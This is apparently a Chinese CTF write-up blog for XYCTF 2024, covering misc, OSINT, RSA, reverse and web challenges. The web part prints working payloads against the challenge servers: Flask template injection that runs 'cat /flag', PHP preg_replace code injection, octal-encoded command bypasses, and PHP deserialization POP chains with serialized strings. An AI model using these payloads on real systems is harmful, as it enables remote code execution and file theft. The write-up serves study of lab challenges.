本文最后更新于 2024年9月21日 下午
前言:写一写做出来的题目,和对web不会题目的复盘。是菜狗写的差轻喷。
Misc 签到 没难度吧,题目还没看到就被队友解决了。扫一下码就行了。
熊博士 下载,发现图片和一段类似flag的文字。对应xyctf,想到应该是古典密码埃特巴什码,找个网站一把梭就行。
ez_隐写 最外层是队友打开的,用的是360的解压,不明白原理,我也打不开。
打开之后里面的用软件跑一下密码是20240401(开赛日),压缩包名字是watermark。
猜测应该是盲水印。
在网上锐化一下还是能看出来的。
XYCTF{159-WSX-IJN-852}
game 看一下是一个图片.
一脸懵,一开始以为是什么特殊加密,用Google搜图发现是一个游戏。得到答案。
zzl的护理小课堂 一开始以为就是搜题目解答我还特地都写了,结果写到100还是不给(真傻啊)。直接看源码,搜索alert,没出,那就score,搜到关键。
那就很简单了,打个断点然后score=101就行,注意flag是动态的。
zip神之套 解压,猜不出来看看exe,这里需要用ida打开(什么居然考re,还好入了个门)。ida64打开,
里面是八位,继续盲猜开赛日,20240401,套在里面果然打开了。
继续打开,能直接打开里面的一个,估计flag是在另外一个zip里面,估计是明文攻击直接用ARPCH明文攻击,这样就能打开了(太懒了不放图了
真>签到 用软件跑一下密码654321.打开发现啥也没有,用010打开zip,发现开头有flag。
EZ_Base1024*2 下载文件用软件跑一下出答案,用base2048
Osint1 这是社工题,还挺好玩的,先用百度识图看一下。找到这篇文章。链接 ,确定了是在江苏省南通市,搜一下旁边是什么海,是黄海,那就差一条路了。然后我自己跑到google上面看看有没有实景的,再结合图片发现应该是在那个园区附近,还有大风车。(这里用的腾讯地图发现的,其他的都看不清
看着像估计就是这里了,把可能的结果都试一下,发现是滨海东路。
Osint2 图片给的是高铁站的图片给的提示是已经玩结束要回去了,在12306搜索一下车次每天只有一班g3293,龙门是在河南省,靠近这个高铁站的就只有几个景点,最后试出来是老君山(我还没爬过,悲伤.jpg)
Ez_osint 图片下载直接整破防了,试了几种常规的png隐写没找出来,用stegsolve发现了一个水印网址 链接 ,一开始找到的是假flag,观察图片上面的时间直接去找原来的那封信,发现留言有flag(别样的社工题)。
出题有点烦 下载文件解压,用软件跑一遍是123456,解压,看到前面三个都不能正常看,用010打开,把开头重新编辑,正常可以看了,第一个图片是假的flag。试了一会之后发现用foremost第五个图像可以分离一个压缩包,提出来用软件跑一遍,密码是xyctf,打开里面是正确的flag.
美妙的歌声 下载是wav音频,用Audacity打开,打开多视图发现频谱图好像有点东西,微调一会发现是有东西的
这大概率不是直接的flag,应该是key,用deepsound打开,解密分离得到flag.txt,里面有flag,
XYCTF{T0uch_y0ur_he3rt_d55ply!!}
Rosk,Paper,Scissors! 也是受高人指点,可以进行手搓,一个一个试,只有开头的会随机变,脚本多跑几遍就行了。上代码
1 2 3 4 5 6 7 8 from pwn import * p=remote("localhost" ,57882 ) a=["Rock" ,"Paper" ,"Paper" ,"Scissors" ,"Scissors" ,"Scissors" ,"Rock" ,"Rock" ,"Paper" ,"Paper" ,"Scissors" ,"Scissors" ,"Rock" ,"Rock" ,"Paper" ,"Paper" ,"Scissors" ,"Scissors" ,"Rock" ,"Rock" ,"Paper" ,"Paper" ,"Scissors" ,"Scissors" ,"Rock" ,"Rock" ,"Paper" ,"Paper" ,"Scissors" ,"Scissors" ,"Rock" ,"Rock" ,"Paper" ,"Paper" ,"Scissors" ,"Scissors" ,"Rock" ,"Rock" ,"Paper" ,"Paper" ,"Scissors" ,"Scissors" ,"Rock" ,"Rock" ,"Paper" ,"Paper" ,"Scissors" ,"Scissors" ,"Rock" ,"Rock" ,"Paper" ,"Paper" ,"Scissors" ,"Scissors" ,"Rock" ,"Rock" ,"Paper" ,"Paper" ,"Scissors" ,"Scissors" ,"Rock" ,"Rock" ,"Paper" ,"Paper" ,"Scissors" ,"Scissors" ,"Rock" ,"Rock" ,"Paper" ,"Paper" ,"Scissors" ,"Scissors" ,"Rock" ,"Rock" ,"Paper" ,"Paper" ,"Scissors" ,"Scissors" ,"Rock" ,"Rock" ,"Paper" ,"Paper" ,"Scissors" ,"Scissors" ,"Rock" ,"Rock" ,"Paper" ,"Paper" ,"Scissors" ,"Scissors" ,"Rock" ,"Rock" ,"Paper" ,"Paper" ,"Scissors" ,"Scissors" ,"Rock" ,"Rock" ,"Paper" ,"Paper" ]for i in a: p.recvuntil("" ) p.sendline(i) p.interactive()
以下为复现(彩蛋 首先第一段应该是一个八进制转字符串
然后第三段应该是二进制转字符串
第二段说不需要扫描器,参考了其他师傅的wp,是下载图片转png图片,转化 ,然后用zsteg得到
审视了一下应该是键盘密码,键盘密码
CRYPTO happy_to_solve1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import gmpy2from Crypto.Util.number import *n = 24852206647750545040640868093921252282805229864862413863025873203291042799096787789288461426555716785288286492530194901130042940279109598071958012303179823645151637759103558737126271435636657767272703908384802528366090871653024192321398785017073393201385586868836278447340624427705360349350604325533927890879 c = 14767985399473111932544176852718061186100743117407141435994374261886396781040934632110608219482140465671269958180849886097491653105939368395716596413352563005027867546585191103214650790884720729601171517615620202183534021987618146862260558624458833387692782722514796407503120297235224234298891794056695442287 e = 65537 t = 1 for i in range(300 ): phi = n - (2 **512 - 1 + t) + 1 d = gmpy2.invert(e, phi) m = pow(c, d, n) print (long_to_bytes(m)) t += 2
Reverse 这部分就是闹着玩随便写写,我不会re就看看题目。所有也懒得放图了。
聪明的信使 这个用ida打开,然后空格一下就能看到明显类似flag的一段内容。
我记得好像是栅栏密码,网上一把梭就行了,没什么难度。
你是真的大学生吗? 这题有一丢丢借鉴别人,但是问题不大。同样也是用ida打开就行,找到关键内容就行,也是懒不想看了,(我又不是re手,直接上代码和答案。
差不多吧,嘿嘿。
DebugMe 这题其实我感觉挺简单的,具体操作不会,下载一个安卓模拟器,然后用jeb调debugger就行,就能出答案了,but 我不会,sorry啦。
Web web真是心碎啊,发现自己不会的还是太多太多了,会把所有没写出来的也顺带复盘一下。
ezhttp diserach扫一下有flag.php和robots.txt,里面有账户和密码。
跟着要求在bp里面改就行了,考察一下头,wp如下。
User-Agent: XYCTF
client-Ip:127.0.0.1
via:ymzx.qq.com
Referer:yuanshen.com
Cookie:XYCTF
warm up 先上源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php include 'next.php' ;highlight_file (__FILE__ );$XYCTF = "Warm up" ;extract ($_GET );if (isset ($_GET ['val1' ]) && isset ($_GET ['val2' ]) && $_GET ['val1' ] != $_GET ['val2' ] && md5 ($_GET ['val1' ]) == md5 ($_GET ['val2' ])) { echo "ez" . "<br>" ; } else { die ("什么情况,这么基础的md5做不来" ); }if (isset ($md5 ) && $md5 == md5 ($md5 )) { echo "ezez" . "<br>" ; } else { die ("什么情况,这么基础的md5做不来" ); }if ($XY == $XYCTF ) { if ($XY != "XYCTF_550102591" && md5 ($XY ) == md5 ("XYCTF_550102591" )) { echo $level2 ; } else { die ("什么情况,这么基础的md5做不来" ); } } else { die ("学这么久,传参不会传?" ); }
第一步要传入两个值不等但是md5弱比教相等。尝试传入数组或者用字符串弱比教。
1 val1 =QNKCDZO&val2=s878926199a
第二步传入值的md5的值等于本身。
第三步可以利用变量覆盖,把原先的覆盖掉,如下图
,之后进第二个页面
1 2 3 4 5 6 7 8 9 <?php highlight_file (__FILE__ );if (isset ($_POST ['a' ]) && !preg_match ('/[0-9]/' , $_POST ['a' ]) && intval ($_POST ['a' ])) { echo "操作你O.o" ; echo preg_replace ($_GET ['a' ],$_GET ['b' ],$_GET ['c' ]); } else { die ("有点汗流浃背" ); }
简要讲一下intval,这个函数会强制把传入的内容转换为数字,但是如果传入的内容是数组就可以进行绕过。
先尝试post一个a[]=1,会显示出操作你0.o
再审计一下下面的内容,问问万能的chatgpt这是个啥
$_GET[‘a’] 作为正则表达式模式,$_GET[‘b’] 作为替换的文本或模式,$_GET[‘c’] 作为输入的字符串或数组。具体来说,这段代码是根据从 URL 中获取的参数来执行正则表达式的搜索和替换操作。
尝试正则几个字母,然后b输入system(‘cat /flag’),c再输入几个前面正则的内容就行
post传入上面的内容对应,上图片。
ezMD5 上传两个图片Md5值相同即可,csdn上面有,可以自己搜,最后能出flag.
ezMake 偷偷扫了一下,问题不大吧,/flag就能出了
ez?make 本题可以通过两次十六进制绕过,从而得到flag
先第一次转
1 cat /flag 636174202f666c6167
再转第二次
1 636174202f666c6167 363336313734323032663636366336313637
这里提个知识点
xxd -r 是将十六进制转换回去,-p是以postscript的连续十六进制转储输出。这也叫做纯十六进制转储。
所有应该为
1 `echo "363336313734323032663636366336313637" |xxd -r -p|xxd -r -p`
``是执行语句,执行里面的内容
xxd -r -p用来转化保持。
我是一个复读机 首先猜测用户名是admin,给了字典爆破一下,密码是asdqwe
进去输入常规的sql和ssit和命令执行都不行
尝试输入汉字有括号,那我估计就是从这里入手,构造一个flask的注入
1 哈%print (()|attr(request.args .a))|attr(request.args .base)|attr(request.args .sub)()|attr(request.args .getit)(132)|attr(request.args .ini)|attr(request.args .glo )|attr(request.args .getit)(request.args .p)(request.args .cmd)|attr(request.args .r)()%&a=__class__&base=__base__&sub=__subclasses__&getit=__getitem__&cmd=cat /flag&ini=__init__&glo =__globals__&p=popen&r=read
可以得到flag
ezrce 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file (__FILE__ );function waf ($cmd ) { $white_list = ['0' ,'1' ,'2' ,'3' ,'4' ,'5' ,'6' ,'7' ,'8' ,'9' ,'\\' ,'\'' ,'$' ,'<' ]; $cmd_char = str_split ($cmd ); foreach ($cmd_char as $char ){ if (!in_array ($char , $white_list )){ die ("really ez?" ); } } return $cmd ; }$cmd =waf ($_GET ["cmd" ]);system ($cmd );
本体只能用白名单上的进行绕过,有\有数字估计是八进制,空格用$<进行绕过。
累了,上payload吧,利用了简要的拼接。
ezpop 对于反序列化不好的我一点也不ez,先看源码分析。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php error_reporting (0 );highlight_file (__FILE__ );class AAA { public $s ; public $a ; public function __toString ( ) { echo "you get 2 A <br>" ; $p = $this ->a; return $this ->s->$p ; } }class BBB { public $c ; public $d ; public function __get ($name ) { echo "you get 2 B <br>" ; $a =$_POST ['a' ]; $b =$_POST ; $c =$this ->c; $d =$this ->d; if (isset ($b ['a' ])) { unset ($b ['a' ]); } call_user_func ($a ,$b )($c )($d ); } }class CCC { public $c ; public function __destruct ( ) { echo "you get 2 C <br>" ; echo $this ->c; } }if (isset ($_GET ['xy' ])) { $a = unserialize ($_GET ['xy' ]); throw new Exception ("noooooob!!!" ); }
还有点长,简单的要分析一下,要得到flag,正常是反向推理。要得到flag大概率是call_user_func($a,$b)($c)($d);
这个实现的,简单来说这是个嵌套的函数。__get
是调用的成员属性不存在,才会调用。而AAA里的$this->s->$p;
可以进行调用一个不存在的从而实现调用。__toString
把对象当成字符串调用,通常echo就可以调用成功。echo $this->c;
就可以实现。那么显而易见大概的流程已经出来了。
CCC::destruct —> AAA::toString—>BBB::get,这样的大体流程。下面我们上代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class AAA { public $s ; public $a ; }class BBB { public $c ="echo system" ; public $d ="cat /flag" ; }class CCC { public $c ; }$a =new CCC;$b =new AAA;$c =new BBB;$a ->c=$b ;$b ->s=$c ;$b ->a="eval" ;echo serialize ($a );
$a=new CCC;实例化调用__destruct(),之后就可以通过echo调用__tostring().里面调用$p = $this->a;
只要给a赋值BBB不存在的变量然后通过return,就能调用__get().
这里还要介绍一下implode函数,implode函数可以拼接内容,把后面的$b,c,d连起来构成语句
$c,$d已经赋值好了,还需要post传值
$b也可以传入exec,最后还有个小tip,原文都是2A,2B,2C,需要把类后面的属性即CCC后面的1改成2.
大题思路是这样,中间可能有冗杂的内容,至少把题目写出来了。
牢牢记住,逝者为大
so,what can i say,manba out
这题还是有许多值得学习的知识点的,先简要分析一下。
cmd的长度不能大于13
内容禁用的挺多的,如上
大致思路是需要拼接最后得到的,因为下方有个eval函数。
既然都禁了那我尝试转义吧,转十六进制可能会出现f,会被禁用,那么我们就转八进制。
处于编码问题我们都是加一个\0,如下
1 \0143\0160 \0040\0057 \0146\0154 \0141\0147 \0040\0057 \0166\0141 \0162\0057 \0167\0167 \0167\0057 \0150\0164 \0155\0154 \0057\0061 \0056\0164 \0170\0164 \0012 ,最后的是换号符
再看前面要过滤man和mamba out,前面可以考虑换行%0A,后面%23注释掉就行
1 ?cmd=%0A`$_GET[1]` ;%23&1 =%24(echo -e "" )
反引号用于执行,%24是$,echo -e 用于执行转义,加上面的放入下面的代码中就可以实行。最后再切换到1.txt,得到答案。
以下为复现( εZ?¿м@Kε¿? 知识点 ,写这题之前可以看看这篇的知识点,简要的了解一下。
尝试了第一种和第二种都不行,看了其他师傅的wp,考察的可能是真的是makefile的知识点,之前也没搜过这方面的内容,就小学一下吧。这里简单的说一下。
$符号表示取变量的值,当变量名多于一个字符时,使用”( )” $符的其他用法
1 2 3 $^ 表示所有的依赖文件$@ 表示生成的目标文件$< 代表第一个依赖文件
尝试输入内容。
得知当前的依赖文件里面就是flag.
$<,显示的是/flag,那么<$<也就是</flag,由上面得知多于一个字符需要使用括号,那么就先构造**$(<$<)**,我的理解是取进去flag文件
里面的值,先输入看看,这是下面的回显。
1 Nothing to be done for 'FLAG' .
也就是说**$(<$<)**,可能代表的就是flag这个内容,读取我们需要再加个$
连连看到底是连连什么看 下载文件。先靠着打断点过了一次关发现并不能得到flag,看到文件里面有what’s_this.php,打开网页看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ );error_reporting (0 );$p =$_GET ['p' ];if (preg_match ("/http|=|php|file|:|\/|\?/i" , $p )) { die ("waf!" ); }$payload ="php://filter/$p /resource=/etc/passwd" ;if (file_get_contents ($payload )==="XYCTF" ){ echo file_get_contents ('/flag' ); }
看了wp,可以看一下这位师傅讲的原理,filterchain ,简单的来说就是就是base64只能识别[A-Za-z0-9+/=],这些其他的不可见字符会自动忽略。原理大致就是最后只要解密成为XYCTF就可以了,这里师傅推荐的脚本,脚本 ,直接clone下来就可以用了构造一下
然后再脚本跑一下,
最后末尾要改一下,根据题目的设定以及要多解几次base64,多修改几次也就得到flag了。
ezSerialize 哎,看到序列化反序列化就不想写,太菜了,先看下源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php include 'flag.php' ;highlight_file (__FILE__ );error_reporting (0 );class Flag { public $token ; public $password ; public function __construct ($a , $b ) { $this ->token = $a ; $this ->password = $b ; } public function login ( ) { return $this ->token === $this ->password; } }if (isset ($_GET ['pop' ])) { $pop = unserialize ($_GET ['pop' ]); $pop ->token=md5 (mt_rand ()); if ($pop ->login ()) { echo $flag ; } }
这题第一层其实是原题,是ctfshow上面的,链接 ,由于md5(mt_rand())在变化而且很难爆破,只要让token=password就行我们写个代码。
1 2 3 4 5 6 7 8 <?php class Flag { public $token ; public $password ; }$a =new Flag ;$a ->password=&$a ->token;echo serialize ($a );
进入第二层,贴个源码(真的烦啊.jpg
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 <?php highlight_file (__FILE__ );class A { public $mack ; public function __invoke ( ) { $this ->mack->nonExistentMethod (); } }class B { public $luo ; public function __get ($key ) { echo "o.O<br>" ; $function = $this ->luo; return $function (); } }class C { public $wang1 ; public function __call ($wang1 ,$wang2 ) { include 'flag.php' ; echo $flag2 ; } }class D { public $lao ; public $chen ; public function __toString ( ) { echo "O.o<br>" ; return is_null ($this ->lao->chen) ? "" : $this ->lao->chen; } }class E { public $name = "xxxxx" ; public $num ; public function __unserialize ($data ) { echo "<br>学到就是赚到!<br>" ; echo $data ['num' ]; } public function __wakeup ( ) { if ($this ->name!='' || $this ->num!='' ){ echo "旅行者别忘记旅行的意义!<br>" ; } } }if (isset ($_POST ['pop' ])) { unserialize ($_POST ['pop' ]); }
静下来分析以下其实第二层也不算太难的还是从后往前推,关键应该在echo $flag2这里
调用一个不存在的函数可以调用__call(),也就是$this->mack->nonExistentMethod();
__invoke()把对象当成函数就可以调用,return $function()可以解决这个问题。
__get调用不存在的属性,return is_null($this->lao->chen) ? “” : $this->lao->chen;可以解决。
__toString有echo就行,调用__unserialize($data) ,里面的,值得注意的是我看了其他师傅的wp,好像因为php版本问题,这里不能用,下面的wakeup也是可以调用的,分析完我罗列一下。
E::__wakeup->D::__tostring->B::__get->A::__invoke->C::__call;
我们尝试写一下代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php class A { public $mack ; }class B { public $luo ; }class C { public $wang1 ; } class D { public $lao ; public $chen ; }class E { public $name = "xxxxx" ; public $num ; }$a =new E;$b =new D;$c =new B;$d =new A;$e =new C;$a ->name=$b ;$b ->lao=$c ;$c ->luo=$d ;$d ->mack=$e ;echo serialize ($a );
写完一遍发现也不是很难,看看第三层,先贴代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <?php error_reporting (0 );highlight_file (__FILE__ );class XYCTFNO1 { public $Liu ; public $T1ng ; private $upsw1ng ; public function __construct ($Liu , $T1ng , $upsw1ng = Showmaker ) { $this ->Liu = $Liu ; $this ->T1ng = $T1ng ; $this ->upsw1ng = $upsw1ng ; } }class XYCTFNO2 { public $crypto0 ; public $adwa ; public function __construct ($crypto0 , $adwa ) { $this ->crypto0 = $crypto0 ; } public function XYCTF ( ) { if ($this ->adwa->crypto0 != 'dev1l' or $this ->adwa->T1ng != 'yuroandCMD258' ) { return False; } else { return True; } } }class XYCTFNO3 { public $KickyMu ; public $fpclose ; public $N1ght = "Crypto0" ; public function __construct ($KickyMu , $fpclose ) { $this ->KickyMu = $KickyMu ; $this ->fpclose = $fpclose ; } public function XY ( ) { if ($this ->N1ght == 'oSthing' ) { echo "WOW, You web is really good!!!\n" ; echo new $_POST ['X' ]($_POST ['Y' ]); } } public function __wakeup ( ) { if ($this ->KickyMu->XYCTF ()) { $this ->XY (); } } }if (isset ($_GET ['CTF' ])) { unserialize ($_GET ['CTF' ]); }
好多出题人被扒上面啊,该打呜呜呜。
看了一遍好难,原生链和利用链,跟着师傅的思路跑一遍。
?写多了我感觉也不是太难了,上代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class XYCTFNO1 { public $Liu ; public $T1ng ; private $upsw1ng ; }class XYCTFNO2 { public $crypto0 ; public $adwa ; }class XYCTFNO3 { public $KickyMu ; public $fpclose ; public $N1ght = "Crypto0" ; }$a =new XYCTFNO3 ;$a ->N1ght='oSthing' ;$a ->KickyMu=new XYCTFNO2 ;$a ->KickyMu->adwa=new XYCTFNO1 ;$a ->KickyMu->adwa->T1ng='yuroandCMD258' ;echo serialize ($a );
这里注意有private,需要%00填上
1 $this->adwa->crypto0 != 'dev1l'的原因还需要添s:7:"crypto0";s:5:"dev1l";
1 ?CTF=O:8 :"XYCTFNO3" :3 :{s:7 :"KickyMu" ;O:8 :"XYCTFNO2" :2 :{s:7 :"crypto0" ;N;s:4 :"adwa" ;O:8 :"XYCTFNO1" :4 :{s:3 :"Liu" ;N;s:4 :"T1ng" ;s:13 :"yuroandCMD258" ;s:17 :"%00XYCTFNO1%00upsw1ng" ;N;s:7 :"crypto0" ;s:5 :"dev1l" ;}}s:7 :"fpclose" ;N;s:5 :"N1ght" ;s:7 :"oSthing" ;}
post里面y肯定是构造伪协议这没什么问题,x的话我就不太懂了,文章 ,简要了解一下,类似file_get_contents,这里前面有new,可以用Splfileobject使用,确实长知识了。
ezClass 1 2 3 4 5 6 7 8 <?php highlight_file (__FILE__ );$a =$_GET ['a' ];$aa =$_GET ['aa' ];$b =$_GET ['b' ];$bb =$_GET ['bb' ];$c =$_GET ['c' ]; ((new $a ($aa ))->$c ())((new $b ($bb ))->$c ());
看了一下wp也是考的Spl原生类+伪协议利用,确实之前不知道这些。
?a=SplFileObject&aa=data://text/plain,system&c=__toString&b=SplFileObject&bb=data://text/plain,cat%20/flag
login 没遇过的知识点,可以看看,前置知识
之后可以看官p,太难了技术有限。就到这里了。